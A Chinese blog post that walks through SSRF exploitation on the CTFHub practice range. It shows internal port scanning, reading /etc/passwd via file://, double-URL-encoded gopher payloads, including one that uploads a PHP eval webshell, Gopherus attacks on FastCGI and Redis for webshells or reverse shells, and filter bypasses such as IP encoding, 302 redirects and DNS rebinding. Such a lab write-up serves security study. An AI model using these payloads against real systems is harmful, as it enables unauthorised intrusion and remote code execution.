SSRF学习

SSRF是什么都知道就不介绍,这里主要介绍下利用场景

◆ 通过SSRF扫内网端口

http://10.0.54.87:80 OK

http://10.0.54.87:81 Timeout

http://10.0.54.87:8080 Timeout

◆ 获取内网资源

◆ file:///etc/passwd

◆ local_file:///etc/passwd (Python 2.7)

◆ file:///var/www/html/ (JAVA 可列出目录)

◆ 攻击内网的服务

◆ SQL Injection,Command Injection,. . .

前置知识

image-20220913163024305

image-20220913163226690

image-20220913162901606

image-20220913162921374

image-20220913162936154

需要知道Redis和fastcgi提权的方法

1、场景利用

image-20220913140249254

这里以CTFHUB为靶场进行场景学习

1.1、内网访问
1.2、伪协议读取文件
1.3、端口扫描
1.4、POST请求

image-20220913140323402

题目提示php代码使用curl实现,并且会跟踪302跳转,直接访问flag.php显示只有127.0.0.1可以查看

image-20220913140413426

使用http协议查看出现如下

image-20220913140544263

image-20220913140629561

使用file协议查看flag.php源码

image-20220913140735365

发现需要以POST方式传入key,接受正确的key可以打印flag。

构造请求包

POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
​
key=8fbb07204b1f64a87c85739a60af744b

url编码地址:http://tools.jb51.net/static/encodetxt/urlencode_decode/index.html

进行两次url编码的原因:curl会进行url解码1次,由于漏洞参数在get请求的url中,会将url再解码一次,所以需要将payload进行两次url编码

第一次进行url编码 请求包末尾记得加换行

image-20220913141707479

将第一次编码后的结果粘贴出来,将%0A替换为%0D%0A

第二次进行url编码

image-20220913142009409

POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520127.0.0.1%250D%250AContent-Type:%2520application/x-www-form-urlencoded%250D%250AContent-Length:%252036%250D%250A%250D%250Akey=8fbb07204b1f64a87c85739a60af744b%250D%250A

使用gopher协议进行请求,注意点:

1、gopher默认指向70端口,所以需要指定端口80

2、如果发起post请求,回车换行需要使用%0d%0a,如果多个参数,参数之间的&也需要进行URL编码

image-20220913142149692

1.5、上传文件

和上题类似

显示只有127.0.0.1能访问,添加提交按钮

image-20220913143424518

image-20220913143518028

image-20220913143534943

提交后抓包

image-20220913143613460

将请求包进行两次url编码,第一次记得将%0A替换为%0D%0A,末尾记得也要添加

image-20220913143723255

POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520challenge-cc683147c20fbb34.sandbox.ctfhub.com:10800%250D%250AContent-Length:%2520288%250D%250ACache-Control:%2520max-age=0%250D%250AUpgrade-Insecure-Requests:%25201%250D%250AOrigin:%2520http://challenge-cc683147c20fbb34.sandbox.ctfhub.com:10800%250D%250AContent-Type:%2520multipart/form-data;%2520boundary=----WebKitFormBoundarygfeEfBUgmyfaM3IJ%250D%250AUser-Agent:%2520Mozilla/5.0%2520(Windows%2520NT%252010.0;%2520Win64;%2520x64)%2520AppleWebKit/537.36%2520(KHTML,%2520like%2520Gecko)%2520Chrome/97.0.4692.71%2520Safari/537.36%250D%250AAccept:%2520text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9%250D%250AReferer:%2520http://challenge-cc683147c20fbb34.sandbox.ctfhub.com:10800/?url=http://127.0.0.1/flag.php%250D%250AAccept-Encoding:%2520gzip,%2520deflate%250D%250AAccept-Language:%2520zh-CN,zh;q=0.9%250D%250AConnection:%2520close%250D%250A%250D%250A------WebKitFormBoundarygfeEfBUgmyfaM3IJ%250D%250AContent-Disposition:%2520form-data;%2520name=%2522file%2522;%2520filename=%25221.php%2522%250D%250AContent-Type:%2520text/plain%250D%250A%250D%250A%253C?php%2520eval($_POST%255Bcmd%255D);?%253E%250D%250A------WebKitFormBoundarygfeEfBUgmyfaM3IJ%250D%250AContent-Disposition:%2520form-data;%2520name=%2522submit%2522%250D%250A%250D%250A%25E9%258E%25BB%25E6%2584%25AA%25E6%25B0%25A6%250D%250A------WebKitFormBoundarygfeEfBUgmyfaM3IJ--%250D%250A

放在ssrf漏洞处,使用gopher协议

image-20220913143339792

1.6、FastCGI协议

使用工具gopherus

image-20220913150758892

由于漏洞参数在url中,将结果url编码一次

image-20220913151020816

image-20220913150450968

image-20220913150503771

1.7、Redis协议

同样使用gopherus,可以写webshell,也可以写定时任务反弹

image-20220913152926493

将结果再次url编码,出现timeout没关系

image-20220913152952957

尝试连接xxxx/shell.php

image-20220913152803033

2、Bypass
2.1、URL Bypass

用@实现绕过,效果与http://127.0.0.1/flag.php相同

访问提示url只能以http://notfound.ctfhub.com开始

image-20220913153451769

image-20220913153559720

2.2、数字IP Bypass

使用localhost、16进制、八进制、十进制、使用 IPv6、url编码混淆等绕过ip限制

image-20220913154417972

image-20220913154403862

https://tool.520101.com/wangluo/jinzhizhuanhuan/

image-20220913155327247

image-20220913155315009

image-20220913155359244

2.3、302跳转 Bypass

image-20220913161035270

image-20220913161124607

这题通过进制转换也拿到了flag

image-20220913161734179

2.4、DNS重绑定 Bypass

利用工具地址https://lock.cmpxchg8b.com/rebinder.html B我写的公网地址

image-20220913162706177

然后访问,多访问几次会出现

posted @ 2022-09-13 16:39  我要变超人  阅读(90)  评论(0编辑  收藏  举报